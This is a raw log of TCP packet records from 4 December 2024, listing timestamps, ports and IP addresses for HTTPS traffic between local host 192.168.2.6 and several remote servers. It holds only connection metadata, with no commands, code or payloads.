Dec 4, 2024 16:15:32.678894997 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.678965092 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.679032087 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.706506014 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.706537008 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.706554890 CET	49753	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.706561089 CET	443	49753	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.709325075 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.709389925 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.709482908 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.709687948 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:32.709702969 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:32.715339899 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.719327927 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:32.722203016 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.436116934 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.436815977 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.436849117 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.437262058 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.437267065 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.480674982 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.481300116 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.481328964 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.483088017 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.483097076 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.605611086 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.605701923 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.605765104 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.605807066 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.605829954 CET	443	49766	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.605840921 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.605878115 CET	49766	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.606739998 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.606775999 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.606832027 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.606862068 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.606908083 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.819605112 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.819614887 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.819669008 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.819725037 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.819760084 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.819797039 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.819828033 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.866199017 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.866229057 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.866239071 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.866369963 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.866405010 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.866486073 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.869338036 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.869355917 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.869446993 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.869477034 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.869518995 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.875729084 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.875793934 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.875850916 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.876071930 CET	49765	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.876094103 CET	443	49765	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.879292011 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.879349947 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.879442930 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.879668951 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:33.879684925 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:33.893449068 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.893526077 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.893579960 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.893762112 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.893781900 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.893805981 CET	49768	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.893811941 CET	443	49768	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.896697044 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.896712065 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.896794081 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.896961927 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.896971941 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.916363001 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.916433096 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.916498899 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.916749001 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.916765928 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.916785955 CET	49769	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.916790962 CET	443	49769	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.919547081 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.919579983 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:33.919662952 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.919833899 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:33.919852972 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.077219963 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.077231884 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.077280045 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.077305079 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.077313900 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.077351093 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.077382088 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.077455044 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.077485085 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.134329081 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.134352922 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.134459972 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.134484053 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.134537935 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.141830921 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.141907930 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.269350052 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.269371033 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.269503117 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.269531965 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.269604921 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.301053047 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.301074982 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.301223040 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.301239967 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.301295996 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.324950933 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.324971914 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.325092077 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.325129032 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.325176001 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.331451893 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.331531048 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.331566095 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.331624031 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.332089901 CET	49764	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.332113981 CET	443	49764	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.358428955 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.358459949 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.358530998 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.358758926 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.358767033 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.428600073 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.429054976 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.429075956 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.429537058 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.429543972 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.794680119 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.794735909 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.794814110 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.795084000 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:34.795099974 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:34.909001112 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.909096003 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.909152031 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.909359932 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.909375906 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.909401894 CET	49770	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.909410000 CET	443	49770	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.912523985 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.912555933 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:34.912621975 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.912791014 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:34.912803888 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.263061047 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.264214039 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.264242887 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.264646053 CET	49767	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.264651060 CET	443	49767	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.285195112 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.285557032 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.285588980 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.285911083 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.286254883 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.286328077 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.286393881 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.327344894 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.618432999 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.618463993 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.618585110 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.618802071 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.618814945 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.623919964 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.624464035 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.624495983 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.624923944 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.624929905 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.643151999 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.643672943 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.643682957 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.644068956 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.644073009 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.745290995 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.745850086 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.745891094 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.746315956 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:35.746324062 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:35.760485888 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.760801077 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.760817051 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.761147022 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.761626959 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.761688948 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:35.761951923 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:35.807328939 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.057454109 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.057554960 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.057712078 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.057847023 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.057868004 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.057888985 CET	49772	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.057899952 CET	443	49772	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.061228991 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.061266899 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.061340094 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.061516047 CET	49778	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.061530113 CET	443	49778	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.089062929 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.089128971 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.089231014 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.089425087 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.089449883 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.089461088 CET	49773	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.089467049 CET	443	49773	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.092297077 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.092350006 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.092453957 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.092616081 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.092632055 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.178791046 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.179125071 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.179152012 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.180202961 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.180275917 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.180978060 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.181039095 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.181195021 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.181201935 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.182821035 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.182878971 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.183099031 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.183136940 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.183155060 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.183166981 CET	49752	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.183171988 CET	443	49752	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.186038017 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.186064959 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.186157942 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.186331987 CET	49780	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.186343908 CET	443	49780	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.227878094 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.423501015 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:36.423547029 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:36.423654079 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:36.424262047 CET	49781	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:36.424273968 CET	443	49781	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:36.461560011 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.461586952 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.461602926 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.461730003 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.461760998 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.461812019 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.504273891 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.504295111 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.504390955 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.504422903 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.504496098 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.533746958 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.533843994 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.533927917 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.533962965 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.534404993 CET	49771	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.534431934 CET	443	49771	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.603286028 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.603308916 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.603385925 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.603435040 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.603463888 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.604971886 CET	49774	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.604990005 CET	443	49774	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.608653069 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.608711958 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.608797073 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.608997107 CET	49782	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.609014034 CET	443	49782	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.610877991 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.610910892 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.610985041 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.611145020 CET	49783	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:36.611152887 CET	443	49783	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:36.632778883 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.634572983 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.634607077 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:36.635035038 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:36.635042906 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.004616976 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.004890919 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.004909039 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.005276918 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.005753040 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.005815029 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.005979061 CET	49777	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.051326990 CET	443	49777	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.067087889 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.067167044 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.067236900 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.067348003 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.067357063 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.067373991 CET	49776	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.067378998 CET	443	49776	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.069919109 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.069962978 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.070051908 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.070228100 CET	49784	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.070242882 CET	443	49784	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.477169037 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.477195024 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.477202892 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.477240086 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.477273941 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.477328062 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.477344990 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.477370024 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.523948908 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.686346054 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.686361074 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.686408043 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.686435938 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.686458111 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.686474085 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.686536074 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.732929945 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.732973099 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.733139992 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.733177900 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.733268976 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.811166048 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.811729908 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.811770916 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.812220097 CET	49779	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:37.812225103 CET	443	49779	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:37.860902071 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.860934019 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.860977888 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.860996008 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.861026049 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.861052990 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.865242004 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.865319967 CET	49775	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:37.895906925 CET	443	49775	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:37.895936966 CET	443	49775	164.92.191.86	192.168.2.6
